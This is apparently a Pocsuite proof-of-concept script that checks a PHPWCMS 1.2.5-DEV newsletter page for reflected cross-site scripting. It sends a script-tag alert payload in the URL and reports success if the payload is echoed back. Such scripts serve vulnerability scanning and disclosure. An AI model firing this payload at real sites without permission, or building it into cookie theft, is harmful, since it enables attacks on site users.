PHPWCMS 1.2.5 -DEV Multiple Cross-Site Scripting Vulnerabilities

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from urlparse import urljoin

class TestPOC(POCBase):
    vulID = 'SSV-80148'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2005-10-15'
    createDate = '2015-10-16'
    updateDate = '2015-10-16'
    references = ['http://www.securityfocus.com/bid/15440/']
    name = 'PHPWCMS 1.2.5 -DEV Multiple Cross-Site Scripting Vulnerabilities'
    appPowerLink = 'http://www.phpwcms.de/'
    appName = 'PHPWCMS'
    appVersion = '1.2.5'
    vulType = 'XSS'
    desc = '''  
        phpwcms is prone to multiple cross-site scripting vulnerabilities. 
        These issues are due to a failure in the application to properly sanitize user-supplied input.
        An attacker may leverage these issues to have arbitrary script code executed in the browser 
        of an unsuspecting user in the context of the affected site. This may facilitate the theft 
        of cookie-based authentication credentials as well as other attacks.
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        payload = "/phpwcms/include/inc_act/act_newsletter.php?text=<script>alert(/Dirorder/)</script>"
        res = req.get(urljoin(self.url, payload), timeout=5)
        return self.parse_verify(res, payload, 'xss')

    def parse_verify(self, res, payload, type):
        output = Output(self)
        result = {}
        if  type == 'xss' and '>alert(/Dirorder/)<' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = urljoin(self.url, payload)
            output.success(result)           
        else:
            output.fail('Internet Nothing returned')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)